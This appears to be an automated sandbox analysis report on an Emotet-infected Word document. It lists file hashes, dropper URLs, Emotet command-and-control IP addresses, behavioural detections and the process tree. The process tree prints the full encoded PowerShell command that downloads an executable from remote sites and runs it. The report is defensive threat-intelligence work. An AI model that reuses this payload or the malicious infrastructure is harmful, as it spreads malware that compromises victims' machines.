Analysis
- max time kernel
136s - max time network
138s - platform
windows10_x64 - resource
win10 - submitted
30/09/2020, 13:14
Static task
static1
Behavioral task
behavioral1
Sample
UZU_090120_OOK_093020.doc
Resource
win7v200722
General
- Target UZU_090120_OOK_093020.doc
- Size 131KB
- Sample200930-3m8sw81ac2
- SHA256 38a413a2f7bec584c31c2db688bf8471006eb9cc593dc8a199acaf01dffaa993
- MD5 4a00a1da384e7d36536ee07b487736c3
- SHA1 c9a2fc3cdcc76dea5b4a2587cd63f501e8d6df1e
- SHA512 91435a59150560e6f6bd3df78b244f68d35bd77af79ed7948b1ca274e46d0e66cc87c9f3759cb2c367052587c10682f1499f5ad1bf9c74badfd2c160568c9509
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://datvietquan.com/wp-content/wra6K/
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exe.dropper
http://albasisgroup.com/wp-content/H/
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exe.dropper
http://www.asmaraloka.com/wp-includes/ra5d/
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exe.dropper
http://thanhthatbadinh.com/ol5auz/AQ/
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exe.dropper
http://ypddf.org/en/NR/
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exe.dropper
http://subramanyatemple.org/cgi-bin/0eBKO/
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exe.dropper
https://daisyboots.co.uk/wp-admin/u/
Extracted
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emotet
-
104.193.103.61:80
-
104.131.123.136:443
-
5.196.108.189:8080
-
121.124.124.40:7080
-
87.106.139.101:8080
-
213.196.135.145:80
-
50.35.17.13:80
-
38.18.235.242:80
-
24.43.32.186:80
-
82.80.155.43:80
-
103.86.49.11:8080
-
113.61.66.94:80
-
24.137.76.62:80
-
187.49.206.134:80
-
42.200.107.142:80
-
24.179.13.119:80
-
93.147.212.206:80
-
108.46.29.236:80
-
105.186.233.33:80
-
37.139.21.175:8080
-
61.19.246.238:443
-
97.82.79.83:80
-
78.188.106.53:443
-
168.235.67.138:7080
-
83.169.36.251:8080
-
89.216.122.92:80
-
176.111.60.55:8080
-
181.169.34.190:80
-
118.83.154.64:443
-
140.186.212.146:80
-
139.59.60.244:8080
-
174.106.122.139:80
-
194.187.133.160:443
-
62.30.7.67:443
-
68.252.26.78:80
-
75.139.38.211:80
-
130.0.132.242:80
-
172.104.97.173:8080
-
85.152.162.105:80
-
74.208.45.104:8080
-
71.15.245.148:8080
-
139.162.60.124:8080
-
62.75.141.82:80
-
203.153.216.189:7080
-
91.211.88.52:7080
-
96.249.236.156:443
-
95.213.236.64:8080
-
66.65.136.14:80
-
104.131.44.150:8080
-
91.146.156.228:80
-
79.98.24.39:8080
-
174.45.13.118:80
-
157.245.99.39:8080
-
80.241.255.202:8080
-
71.72.196.159:80
-
120.150.60.189:80
-
220.245.198.194:80
-
121.7.31.214:80
-
85.96.199.93:80
-
67.10.155.92:80
-
109.74.5.95:8080
-
188.219.31.12:80
-
162.241.242.173:8080
-
110.145.77.103:80
-
78.24.219.147:8080
-
47.144.21.12:443
-
139.99.158.11:443
-
110.142.236.207:80
-
94.23.237.171:443
-
50.91.114.38:80
-
76.175.162.101:80
-
46.105.131.79:8080
-
181.169.235.7:80
-
87.106.136.232:8080
-
5.39.91.110:7080
-
24.43.99.75:80
-
104.131.11.150:443
-
139.162.108.71:8080
-
209.141.54.221:8080
-
124.41.215.226:80
-
123.176.25.234:80
-
137.59.187.107:8080
-
216.139.123.119:80
-
94.200.114.161:80
-
79.137.83.50:443
-
5.196.74.210:8080
-
104.236.246.93:8080
-
137.119.36.33:80
-
37.187.72.193:8080
-
172.91.208.86:80
-
142.112.10.95:20
-
134.209.36.254:8080
-
190.240.194.77:443
-
1.221.254.82:80
-
185.94.252.104:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3512 1516 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3652-15-0x0000000002170000-0x0000000002180000-memory.dmp emotet behavioral2/memory/3652-15-0x0000000002170000-0x0000000002180000-memory.dmp emotet behavioral2/memory/2904-21-0x0000000000650000-0x0000000000660000-memory.dmp emotet behavioral2/memory/2904-21-0x0000000000650000-0x0000000000660000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 17 3512 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3652 R0cx8yuqw.exe 2904 ntprint.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDGR1\ntprint.exe R0cx8yuqw.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3892 WINWORD.EXE 3892 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3512 POwersheLL.exe 3512 POwersheLL.exe 3512 POwersheLL.exe 2904 ntprint.exe 2904 ntprint.exe 2904 ntprint.exe 2904 ntprint.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3512 POwersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3652 R0cx8yuqw.exe 3652 R0cx8yuqw.exe 2904 ntprint.exe 2904 ntprint.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3512 wrote to memory of 3652 3512 POwersheLL.exe 81 PID 3512 wrote to memory of 3652 3512 POwersheLL.exe 81 PID 3512 wrote to memory of 3652 3512 POwersheLL.exe 81 PID 3652 wrote to memory of 2904 3652 R0cx8yuqw.exe 83 PID 3652 wrote to memory of 2904 3652 R0cx8yuqw.exe 83 PID 3652 wrote to memory of 2904 3652 R0cx8yuqw.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\UZU_090120_OOK_093020.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3892
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABEAGwAOAB6ADgAdQBvAD0AKAAoACcARAAnACsAJwAyAHIAYgAnACkAKwAnAHUAJwArACcANgBqACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAcgBQAHIAbwBmAEkAbABFAFwAUAB1AHkAawBJADAAbABcAEQAegBLAG0ANQAzAGkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQByAEkAdABZAFAAcgBvAFQAYABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEoAbABnAG4AdwBnAHEAIAA9ACAAKAAnAFIAMAAnACsAKAAnAGMAJwArACcAeAA4AHkAJwApACsAKAAnAHUAcQAnACsAJwB3ACcAKQApADsAJABGAHkAcwA0ADQAdwBkAD0AKAAnAEYAJwArACcAawAnACsAKAAnAGoAJwArACcAMgBrAGEAZgAnACkAKQA7ACQASwA4AGoAbQBtADMAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQAnACsAKAAnAFAAdQAnACsAJwB5AGsAaQAwAGwAJwApACsAJwB7ACcAKwAnADAAJwArACcAfQBEACcAKwAoACcAegAnACsAJwBrAG0ANQAnACkAKwAnADMAaQB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAEEAUgBdADkAMgApACsAJABKAGwAZwBuAHcAZwBxACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFAHIAcwBqAF8AawBwAD0AKAAnAFIAJwArACgAJwA3ADEAdwB0ACcAKwAnAHIAMgAnACkAKQA7ACQAWgBkAGQAbQB3AGcANwA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBFAG4AdAA7ACQARABqAG4ANgBtADIAaAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AZAAnACsAJwBhAHQAJwApACsAKAAnAHYAJwArACcAaQBlAHQAcQAnACkAKwAoACcAdQBhACcAKwAnAG4AJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuACcAKQArACgAJwB0AGUAJwArACcAbgB0AC8AJwApACsAJwB3AHIAJwArACcAYQA2ACcAKwAnAEsAJwArACcALwAqACcAKwAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAoACcAbABiAGEAcwBpAHMAZwByACcAKwAnAG8AJwApACsAJwB1AHAAJwArACgAJwAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAoACcASAAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgAnACkAKwAoACcAYQBzAG0AYQAnACsAJwByAGEAJwApACsAKAAnAGwAJwArACcAbwBrAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzAC8AcgAnACkAKwAoACcAYQAnACsAJwA1AGQAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB0ACcAKwAnAGgAYQBuACcAKQArACcAaAB0ACcAKwAnAGgAJwArACcAYQB0ACcAKwAoACcAYgBhAGQAaQBuACcAKwAnAGgAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAG8AJwArACcAbAAnACsAJwA1ACcAKwAnAGEAJwArACgAJwB1AHoALwBBACcAKwAnAFEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AeQAnACsAJwBwACcAKQArACcAZABkACcAKwAnAGYAJwArACcALgAnACsAJwBvACcAKwAoACcAcgBnACcAKwAnAC8AZQBuAC8AJwApACsAKAAnAE4AUgAnACsAJwAvACoAJwApACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACgAJwAvAC8AcwB1AGIAcgAnACsAJwBhAG0AJwArACcAYQAnACsAJwBuAHkAJwArACcAYQB0AGUAbQBwACcAKQArACcAbAAnACsAKAAnAGUALgAnACsAJwBvACcAKQArACgAJwByAGcAJwArACcALwBjAGcAJwApACsAJwBpACcAKwAoACcALQBiAGkAJwArACcAbgAnACsAJwAvADAAZQBCAEsATwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAJwAvACcAKwAnAGQAYQAnACsAJwBpACcAKwAoACcAcwB5AGIAbwBvAHQAJwArACcAcwAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8ALgAnACkAKwAnAHUAawAnACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACsAJwAvAHUALwAnACkAKQAuACIAcwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAGgAbgAyADcAbAAwAD0AKAAnAFkAJwArACgAJwA0ACcAKwAnAHgAMAB6ACcAKQArACcAOAB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAZABmAHkAZwB1ADAAIABpAG4AIAAkAEQAagBuADYAbQAyAGgAKQB7AHQAcgB5AHsAJABaAGQAZABtAHcAZwA3AC4AIgBEAG8AYAB3AGAATgBsAG8AQQBEAGYAYABpAGwARQAiACgAJABEAGQAZgB5AGcAdQAwACwAIAAkAEsAOABqAG0AbQAzAGYAKQA7ACQATQB3AHMAZAA5AG0AMgA9ACgAKAAnAEcAJwArACcAZwBlADkAJwApACsAKAAnADgAcgAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAOABqAG0AbQAzAGYAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAzADUAMQA1ADUAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwA4AGoAbQBtADMAZgApADsAJABVAHkAYwB5AHAAbwA2AD0AKAAnAFEAJwArACgAJwBsACcAKwAnAGgAeAAnACkAKwAoACcAcQAnACsAJwB3ADMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAZgA4ADAAeQB0ADEAPQAoACcATAAnACsAJwByACcAKwAoACcAMQBoACcAKwAnAGEAMAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHEAOABpAHcAbgBiAD0AKAAnAFEAdQAnACsAJwBsACcAKwAoACcAYgB1AGsAJwArACcANAAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3512 -
C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\SysWOW64\KBDGR1\ntprint.exe"C:\Windows\SysWOW64\KBDGR1\ntprint.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2904
-
-